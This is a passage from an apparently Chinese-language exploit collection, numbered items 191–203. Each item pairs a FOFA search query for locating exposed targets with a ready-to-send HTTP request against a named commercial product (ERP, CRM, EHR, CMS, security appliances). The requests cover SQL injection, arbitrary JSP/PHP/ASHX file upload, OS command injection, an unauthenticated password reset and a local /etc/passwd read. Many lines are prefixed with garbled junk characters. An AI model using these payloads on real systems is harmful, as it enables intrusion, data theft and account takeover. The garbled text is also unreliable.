+ ]2 v6 [: P! E5 n+ s2 r1 N5 jAccept-Language: zh-CN,zh;q=0.9
' `) {) ~, b( B" T* x
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
2 D6 B" v% a9 n7 u: t' NFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
' Z' H% U/ |# h0 I6 A  `5 tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ j" d9 ~7 L5 o/ Y% p* V/ SContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

# [2 J% [/ a1 M) {
4 p5 v' s4 M4 _& r2 y4 z7 y- u192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
2 H2 O9 F! f/ c& j  Y% [POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
0 F+ j$ q4 t! \0 {, z# h: lHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) E$ M9 h( J3 [! P0 K; Y# I
7 d6 J( B0 B5 O3 l; C
/ }# G2 V4 z* c* \<% @ webhandler language="C#" class="AverageHandler" %>
using System;
5 f  ~& I5 ^% X! ~- d" pusing System.Web;
public class AverageHandler : IHttpHandler
{
7 P* P. |  _6 ]1 C. T, l1 Ypublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
( W/ [4 s. ]$ i4 U+ Q{
. f; Y9 e/ J; Uctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
7 f9 ]9 @! e9 r' e8 P) B( \GET /master/ajaxActions/getTokenAction.php HTTP/1.1
1 {9 n/ [, P! KHost:
8 w8 z) B) x% ^" r$ i, ~Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
8 L' j9 Q9 E8 c' @User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
9 K' B# O! |8 s2 ^* h8 \1 W% qAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

# F% J! {( G" F7 w; Zparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
; U# A2 F; c* ~0 I
" c! B3 ^7 r8 b
; F& O- H$ u8 i" p6 ^GET /master/img/config HTTP/1.1
* f- `0 a- e1 `9 a" r9 [, LHost:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' y0 B3 R$ I# n& T
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) g, O% I- |  hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 t' y1 p, G' o$ R- I) V1 `Accept-Encoding: gzip, deflate
' h. \* H/ a; o1 k4 ZConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

/ d1 G) r2 f9 `% u- OContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% L+ ?& i% j. U  C. g  tContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
. Z( g3 V% U& x1 o0 }2 L! T------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

) [! j  u6 Q! C9 }( v/ g) Z
$ p1 p- _! Y/ }* G( g195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
4 C: f+ C/ E8 x9 FHost: 127.0.0.1
, e# t1 }% x6 ?: cPragma: no-cache
+ V9 X6 c- T7 y3 p" S" `" HCache-Control: no-cache
; d0 X! `5 C+ Z* }9 `. R* {7 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
5 X2 f' q6 T" N3 B# Z4 N" PAccept-Encoding: gzip, deflate
. w, [, X2 a2 }9 i3 h/ ~$ s8 TAccept-Language: zh-CN,zh;q=0.9
0 ^0 T. Y( s6 c$ ~Connection: close
2 G. E9 j! U! B  o/ uContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
$ \( w0 ^5 j( U4 Y- c3 i0 V

& j5 ~" b' p- g0 U9 C* z! A196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
$ M; h3 Y' J( `& b! c& \7 }. iPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
& B0 [$ f( {/ T$ E* i. m" \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
+ r& d. x1 u  j) XX-Requested-With: XMLHttpRequest
' v8 w- U% K- r: RHost:
- n/ f9 A; c( S7 CAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
! Z& ?, v$ u% l3 D- Z$ d. r) OConnection: close
; d: t( s! d6 G7 z9 ^4 @
{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
, I( H* \* \& c/ G( `# v& X! XGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
2 S) L  U! _0 l) W8 [Connection: close

* Z" M" J* W9 {% C2 I/ v& ~' A: `0 _
4 e" r2 @' q4 k  d8 f
* `9 }( S1 B7 O$ `7 ~- S8 O, N198.  阿里云盘 WebDAV 命令注入
- t0 @) i# `; k7 @CVE-2024-29640
" |" t3 Q2 M. F8 q0 P! FGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
+ E4 x  B1 h1 e! O$ a5 y% n% B: m, FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


- G  u& }0 W$ {0 B7 c2 v9 N5 d199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
6 }, [& P! m. K) j
# O& S2 F# \& n; |8 S2.使用刚才上一步获取到的jwt获取cookie：
7 Z0 y1 D* W3 M) D% r( J9 \6 y
POST /auth/check HTTP/1.1
1 I$ d  K& P8 q/ m, B. dContent-Type: application/json
! ~  x: o, S$ d/ y) W7 n  D2 f
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
9 {) N' b. v  E/ Z9 m" |
响应：200，返回值:
" ~  v5 n4 w" N4 L! `: XSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
! n  S0 M6 B9 Q) R3 A" vPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
0 x, ]5 a5 _3 F% U2 sCookie: mysession=95524f01e238bf51bb60d77ede3bea92

# {. b# a) Y0 J8 f6 H- V-----------------------------36D28FBc36bd6feE7Fb3
4 d8 P0 k' A. D  h1 ?  BContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
$ m2 E0 ?& b( ~0 R' z$ p
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
( I' \: ~3 B4 K6 r5 l8 gContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

7 w/ G" \, @& J5 b1 F; f5 i. {% k
4 v) P* z" b1 |( I$ X/storage/uploads/tttt.php
2 v1 B( T7 R1 ^' ~! s( b
200. SeaCMS海洋影视管理系统dmku SQL注入
' G6 F+ K# T+ f' h' ]' Q# LFOFA：app="海洋CMS"
" o8 u# n0 z) L5 _1 jGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
. `0 j5 d) |, `Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
* ?! [: l* G$ |/ `9 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 L+ h( j! K4 O: V: }Accept-Language: zh-CN,zh;q=0.9
* h' z# I8 ]0 y4 u/ E
9 e' P  w& A3 C% U
9 ~6 h# V' C  h* i- E' l  n201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 r) ?7 F: |% p2 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 ]' m; S/ Q) D$ o5 q  v
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

: I/ z+ h. }5 j
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
' k7 p" i: p5 @3 P& ]* F  xContent-Length: 0


% {6 ^7 A" Q/ h# k5 y: P- D* M# c替换__VIEWSTATE和__EVENTVALIDATION值
( W6 x+ f+ t1 U9 t1 P% BPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
  ~& O/ K- T2 b  n2 \Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
# _8 k9 C" i5 E0 e  X8 |  eContent-Disposition: form-data; name="__VIEWSTATE"

8 ?# t* {8 |5 z# U  v: F__VIEWSTATE
9 o9 M3 ^/ U: l9 C- W  a-----------------------------786435874t38587593865736587346567358735687
, |! s( f. r. A9 H& LContent-Disposition: form-data; name="__EVENTVALIDATION"
. c' u' d7 A. X
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
: Q1 c" v' [& a1 `0 }Content-Type: text/plain

% z6 z4 n" B8 QHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
0 B! I  r1 J( X6 ~7 A, x1 {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
0 d* M+ x8 s0 u% m6 G

# M& g4 b6 r" e% P% Q-----------------------------786435874t38587593865736587346567358735687
$ L2 A4 Q# c! Q( c8 {5 JContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
- [% ]6 ~& F- f" ^, O- S8 f, m+ H

% H  u  x# c( x- {, Q-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt
" `* P: o/ ]2 {6 `" @9 k% u* i
203. 红海云EHR PtFjk 文件上传
; B6 e5 L. \8 I8 d* `* DFOFA：body="RedseaPlatform"
# ?" ?; I" H% z: [( K2 I1 wPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
; Y$ }4 N% y$ o) |9 ^Accept-Encoding: gzip
. O! b$ L4 K- n0 s7 F- j9 `8 c5 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 N; c& G2 ^, V3 T6 @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

2 @' X8 r$ m( U: b, e# C2 }------WebKitFormBoundaryt7WbDl1tXogoZys4
1 x$ b6 t  c1 m: d$ }Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
8 o# q# z, W- w
<% out.print("hello,eHR");%>
, l8 n  }5 ~4 F' \" d* G) I------WebKitFormBoundaryt7WbDl1tXogoZys4--

" q* ?9 O- o% F& u! B1 J1 X# D. P' |


/ O- S% Q* O8 o1 m6 z
  Y1 t; x  M  b% l% i# j3 _